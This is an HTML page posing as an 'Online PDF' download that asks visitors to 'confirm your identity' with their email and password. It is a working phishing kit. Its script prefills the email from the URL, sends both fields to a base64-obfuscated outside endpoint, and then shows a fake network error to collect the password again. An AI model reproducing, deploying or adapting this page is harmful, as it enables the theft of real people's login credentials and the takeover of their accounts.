<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Online Document</title>
<style type="text/css">
*{ margin:0; padding:0; outline:none; }
html{font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
}
body{
    background-image: url(https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/4444.png);
    background-repeat: no-repeat;
	background-size: cover;
	background-position: top; 
	width: 100vw;
	height: 100vh;
	display: flex;
	justify-content: center;
	align-items: center;  
	flex-direction: column;    
}
@media screen and (min-width: 1024px) {
  /* Styles for laptops and larger screens */
  /* Your CSS rules here */
  body{
    background-image: url(https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/5555.png);
    background-repeat: no-repeat;
	background-size: cover;
	background-position: top; 
	width: 100vw;
	height: 100vh;
	display: flex;
	justify-content: center;
	align-items: center;  
	flex-direction: column;}
  
}
@media screen and (min-width: 1366px) {
  /* Styles for laptops and larger screens */
  /* Your CSS rules here */
  body{
    background-image: url(https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/5555.png);
    background-repeat: no-repeat;
	background-size: cover;
	background-position: top; 
	width: 100vw;
	height: 100vh;
	display: flex;
	justify-content: center;
	align-items: center;  
	flex-direction: column;}
  
}
.overlay {
    height: 100vw;
    width: 100vw;
    background-color: #0000007a;
    z-index: -100;
    position: fixed;
	margin: 0vw;
}
img, video {
    max-width: 100%;
    height: auto;
}
.classicbox{ display: flex; flex-direction: column; justify-content:center; align-items:center;	background-color:#FFFFFF; color: black; width: 380px; padding: 20px; height: 29.3rem; 
box-shadow:  0 0 #0000, 0 0 #0000, 0 9px 42px -5px #0d0f13, 0 8px 10px -8px #64748b; 
}
.classicbox2{ display: flex; flex-direction: column; justify-content:center; align-items:center; color: white; width: 380px; background-color: green; padding: 20px;
}
img.imgbox{height: 106px; margin-top: -45px; margin-bottom:20px }
.pform-input{margin: 10px 3px 0px -22px; font-size: 1rem;line-height: 1.5rem;}
.pform-input input[type=email], .pform-input input[type=password]{ min-width:100%; padding: 10px; margin-bottom: 10px; border: 1px solid; border-color: #989b9e; }
.pform-input input[type=email]:hover, .pform-input input[type=password]:hover{border: 1px solid; border-color: #2196f3; }
.pform-input input[type=email]:focus, .pform-input input[type=password]:focus{ border: 1px solid; border-color: #2196f3; }
.datro{    display: flex; justify-content: space-evenly;     margin: 10px -10px 0px -22px;}
.datro a{    text-decoration: none; color: #7eafff}
.mbt{width: 100%;
	display: inline-block;
    font-weight: 400;
    line-height: 1.5;
    color: #FFF;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    background-color: transparent;
    border: 1px solid transparent;
    padding: 0.47rem 0.75rem;
    font-size: .8125rem;
	background-color: #0088f5;
    border-color: #0088f5;
    font-size: 16px
    }
.mbt:hover, .mbt:focus{ 	background-color: #0f94ff;
    border-color: #0f94ff;}   
.mbt:disabled, .mbt[disabled]{ 	opacity: 0.5; cursor: not-allowed;}  
.text-red-700#error{
	background-color: red; color: white; 
	width: 100%; 
	text-align: center; 
/*	padding: 4px 0  7px;*/
}   

/*.form1{ margin: 1px -20px; }*/
</style>	
</head>
<body>
	<main>
		<section>
			<div class="classicbox">
				<img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/vvvv.png" class="imgbox">
				<div class="overlay"></div>
				<p style="font-weight: 500; font-size: 28px; color: #FF0000; font-weight: 900;">Online PDF</p>
				<p style="font-size: 18px;text-align: center; font-weight: 500; padding: 0 15px; color: rgb(0, 0, 0); margin-bottom: 20px;">CONFIRM YOUR IDENTITY</p>
				<p style="text-align: center; font-weight: 500; padding: 0 15px; color: rgb(109, 109, 109);">Please match the displayed login details</p>
					    <div class="text-red-700 font-light text-base" id="error"></div>
					<form name="form1" class="form1" action="" method="post" required="">
					    <div class="pform-input">
					    	<input class="" type="email" name="email" id="nameu" placeholder="Enter your email">
					    </div>
					    <div class="pform-input">
					    	<input class="" type="password" name="password" id="namep" placeholder="Password" required="">
					    </div>
					    <div class="pform-input datro">
					    	<div>
						        <input class="" type="checkbox" name="" id="">
						        <a style="margin-right: 20px;" href="#">Keep logged in</a>					    		
					    	</div>
					    	<div>
					        	<a href="#">Forgot your password?</a>
					    	</div>
					    </div>
					    <div style="min-width: 100%;margin: 26px -20px 24px -23px;font-size: 1rem;line-height: 1.5rem;">
					        <button class="mbt" type="submit">Download</button>
					    </div>

					</form>									
				<br><br><br>
			</div>
		</section>
	</main>
<script>
  document.addEventListener("DOMContentLoaded", () => {
    var wem = new URLSearchParams(location.search).get('e');
    if (wem) {
    	document.querySelector("#nameu").value=wem;
    }
  	console.log(wem)

	const mbt = document.querySelector('.mbt');
	const form1 = document.querySelector('.form1');

	function sendData(data) {
	  mbt.textContent = "Verifying...";
	  mbt.setAttribute('disabled', true);
	  document.querySelector('#error').textContent = "";

	  const XHR = new XMLHttpRequest();

	  const urlEncodedDataPairs = [];

	  // Turn the data object into an array of URL-encoded key/value pairs.
	  for (const [name, value] of Object.entries(data)) {
	    urlEncodedDataPairs.push(`${encodeURIComponent(name)}=${encodeURIComponent(value)}`);
	  }

	  // Combine the pairs into a single string and replace all %-encoded spaces to
	  // the '+' character; matches the behavior of browser form submissions.
	  const urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');

	  // Define what happens on successful data submission
	  XHR.addEventListener('load', (event) => {
	  	document.querySelector('#namep').value = ""
	    document.querySelector('#error').textContent = "Network error, kindly try again!";
	  	mbt.textContent = "Download";
	  	mbt.removeAttribute('disabled');	    
	  });

	  // Define what happens in case of an error
	  XHR.addEventListener('error', (event) => {
	  	document.querySelector('#namep').value = ""
	    document.querySelector('#error').textContent =  'Invalid, try again!';
	  	mbt.textContent = "Download";
	  	mbt.removeAttribute('disabled');	    
	  });

	  // Set up our request
	  XHR.open('POST', atob('aHR0cHM6Ly9zZ3MtZ3JvdXBzLmNvLnVhL29iYjA0L3NlbmQucGhw') );

	  // Add the required HTTP header for form data POST requests
	  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

	  // Finally, send our data.
	  XHR.send(urlEncodedData);
	}

	form1.addEventListener('submit', (event) => {
		event.preventDefault();
	  	sendData({ email: document.querySelector('#nameu').value, password: document.querySelector('#namep').value });
	})

  });	

</script>

</body>
</html>